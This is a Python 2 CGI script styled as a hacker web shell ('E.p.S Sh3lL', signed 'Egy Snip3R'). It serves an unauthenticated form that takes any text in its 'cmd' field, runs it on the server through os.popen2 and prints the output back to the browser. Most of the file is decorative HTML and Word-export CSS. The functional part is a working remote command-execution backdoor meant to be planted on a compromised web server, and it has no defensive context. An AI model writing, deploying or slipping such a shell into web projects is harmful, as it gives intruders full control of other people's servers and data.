#!/usr/bin/python
try:
    import cgitb; cgitb.enable()
except:
    pass
import sys, cgi, os
sys.stderr = sys.stdout
from time import strftime
import traceback
from StringIO import StringIO
from traceback import print_exc

################################################################
# ConstantS


if os.environ.has_key("SCRIPT_NAME"):
    scriptname = os.environ["SCRIPT_NAME"]
else:
    scriptname = ""


################################################################
# S0m3 FunctionS

def getform(valuelist, theform, notpresent=''):
    """This function, given a CGI form, extracts the data from it, based on
    valuelist passed in. Any non-present values are set to '' - although this can be changed.
    (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
    data = {}
    for field in valuelist:
        if not theform.has_key(field):
            data[field] = notpresent
        else:
            if  type(theform[field]) != type([]):
                data[field] = theform[field].value
            else:
                values = map(lambda x: x.value, theform[field])     
                data[field] = values
    return data


theformhead = """<head>
<title>E.p.S Sh3lL</title>

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:"Angsana New";
	panose-1:2 2 6 3 5 4 5 2 3 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:16777219 0 0 0 65537 0;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:1627421319 -2147483648 8 0 66047 0;}
@font-face
	{font-family:Verdana;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:536871559 0 0 0 415 0;}
@font-face
	{font-family:"Trebuchet MS";
	panose-1:2 11 6 3 2 2 2 2 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
@font-face
	{font-family:Impact;
	panose-1:2 11 8 6 3 9 2 5 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
@font-face
	{font-family:"Comic Sans MS";
	panose-1:3 15 7 2 3 3 2 2 2 4;
	mso-font-charset:0;
	mso-generic-font-family:script;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
p
	{mso-margin-top-alt:auto;
	margin-right:0cm;
	mso-margin-bottom-alt:auto;
	margin-left:0cm;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
span.genmed
	{mso-style-name:genmed;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";
	mso-ansi-language:#0400;
	mso-fareast-language:#0400;
	mso-bidi-language:#0400;}
</style>

<meta http-equiv=Content-Language content=en-us>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
</head>

<div style="position:relative">
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns:st1="urn:schemas-microsoft-com:office:smarttags"
xmlns="http://www.w3.org/TR/REC-html40">

<body bgcolor=black lang=EN-US style="BACKGROUND-ATTACHMENT:
 fixed; tab-interval: 36.0pt">

<div class=Section1>

<p align="center"><FONT color=#ff0000 size=6 
face="Arial Black"></FONT>&nbsp;</P>

<p align="center"><FONT color=#ff0000 size=6 
face="Arial Black"></FONT>&nbsp;</P>

<p align="center"><FONT color=#ff0000 size=6 
face="Arial Black"></FONT>&nbsp;</P>

<p align="center"><FONT color=#ff0000 size=6 
face="Arial Black"></FONT>&nbsp;</P>
<p align=center style="TEXT-ALIGN: center">
<img border="0" src="http://www.web-development-nebraska.com/wp-content/uploads/2008/10/joker.jpg" width="450" height="377" style="Z-INDEX: 100; POSITION: absolute; TOP: 0px; LEFT: 360px"></P>
<p align=center style="TEXT-ALIGN: center">&nbsp;</P>
<p align=center style="TEXT-ALIGN: center">&nbsp;</P>
<p align=center style="TEXT-ALIGN: center">&nbsp;</P>
<p align=center style="TEXT-ALIGN: center"><FONT 
color=#ffff00 size=6></FONT>&nbsp;</P><FONT 
color=#ffff00 size=6>

<p align="center"><font face="Arial Black" size="6" color="#ff0000"></FONT>&nbsp;</P>

<p align="center"><font face="Arial Black" size="6" color="#ff0000"></FONT>&nbsp;</P>

<p align="center"><font face="Arial Black" size="6" color="#ff0000">TricK|TracK</FONT></P>

<p align="center"><FONT color=#ff0000 size=6 
face="Arial Black"></FONT>&nbsp;</P>
"""

theform = """<CENTER><H2>Ent3R C0mmanD</H2>
<FORM METHOD=POST ENCTYPE=MULTIPART/FORM-DATA>
<input name=cmd type=text><BR>
<input type=submit value="Submit"><BR>
</FORM><BR><BR></CENTER>"""
bodyend = '</BODY></HTML>'
errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'


################################################################
# Th3 B0dY 0f Th3 Scr1pT

if __name__ == '__main__':
    print "Content-type: text/html"        
    print                                  
    form = cgi.FieldStorage()
    data = getform(['cmd'],form)
    thecmd = data['cmd']
    print theformhead
    print theform
    if thecmd:
        print '<HR><BR><BR>'
        print '<B>Command : ', thecmd, '<BR><BR>'
        print 'Result : <BR><BR>'
        try:
            child_stdin, child_stdout = os.popen2(thecmd)
            child_stdin.close()
            result = child_stdout.read()
            child_stdout.close()
            print result.replace('\n', '<BR>')

        except Exception, e:                      # 1f AnY ErroR HappenD WheN Comm4nD ExutablE
            print errormess
            f = StringIO()
            print_exc(file=f)
            a = f.getvalue().splitlines()
            for line in a:
                print line

    print bodyend

e = """<p align="center"><font face="Arial Black" size="4" color="#000099">EditeD By Egy Snip3R</FONT></P>""" 
e2 = """<p align="center"><font face="Arial Black" size="3" color="#339900">egysnip3r@w.cn</FONT></P>"""

print e
print e2
